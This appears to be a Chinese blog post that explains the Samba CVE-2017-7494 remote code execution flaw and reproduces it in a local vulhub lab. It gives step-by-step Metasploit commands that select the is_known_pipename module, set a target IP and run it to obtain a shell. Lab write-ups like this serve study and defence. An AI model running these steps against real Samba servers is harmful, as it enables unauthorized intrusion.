CVE-2017-7494漏洞的分析与复现(Linux永恒之蓝)

目录

一、CVE-2017-7494漏洞简介

1、概括

2、原理

3、影响版本

二、复现环境

三、漏洞复现

1、进入vulhub靶场samba目录下的CVE-2017-7494并运行测试环境,然后查看容器运行情况

2、在kali中启动msf并搜寻该漏洞对应的攻击模块

3、使用该攻击模块

4、查询操作,yes 的全部配置上,RHOSTS配置为靶机的IP地址,RPORT使用445就行无需配置,也可更改端口,payload和target使用默认的就行

5、第四步配置完后直接使用exploit或run命令对靶机进行攻击即可,倒数第二段是[*] Found shell.可使用命令whoami查询所在靶机目录并进行提

一、CVE-2017-7494漏洞简介

1、概括

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。

2、原理

Samba允许连接一个远程的命名管道,并且在连接前会调用is_known_pipename()函数验证管道名称是否合法。在is_known_pipename()函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。

该漏洞要求的利用条件:

拥有共享文件写入权限,如:匿名可写等

需要知道共享目录的物理路径

3、影响版本

漏洞编号为CVE-2017-7494,影响Samba 3.5.0 之后及4.6.4/4.5.10/4.4.14版本。

二、复现环境

攻击机:kali-Linux-2022.2(IP:192.168.50.133/24)

靶机:centos 7:(IP:192.168.50.174/24)

centos 7中需要安装docker,然后再docker的基础上安装vulhub靶场,并关闭centos 7的防火墙

在centos7中安装docker的教程:https://www.runoob.com/docker/centos-docker-install.html

在docker上安装vulhub靶场的教程:https://vulhub.org/#/docs/

三、漏洞复现

1、进入vulhub靶场samba目录下的CVE-2017-7494并运行测试环境,然后查看容器运行情况

        cd vulhub/samba/CVE-2017-7494

        docker-compose up -d

        docker ps

2、在kali中启动msf并搜寻该漏洞对应的攻击模块

        msfconsole

        search CVE-2017-7494

3、使用该攻击模块

        use 0(也可以使用use exploit/linux/samba/is_known_pipename两者等效)

4、查询操作,yes 的全部配置上,RHOSTS配置为靶机的IP地址,RPORT使用445就行无需配置,也可更改端口,payload和target使用默认的就行

        show options

        set rhosts 192.168.50.174

5、第四步配置完后直接使用exploit或run命令对靶机进行攻击即可,倒数第二段是[*] Found shell.可使用命令whoami查询所在靶机目录并进行提权

        run

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

猿猿酱

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值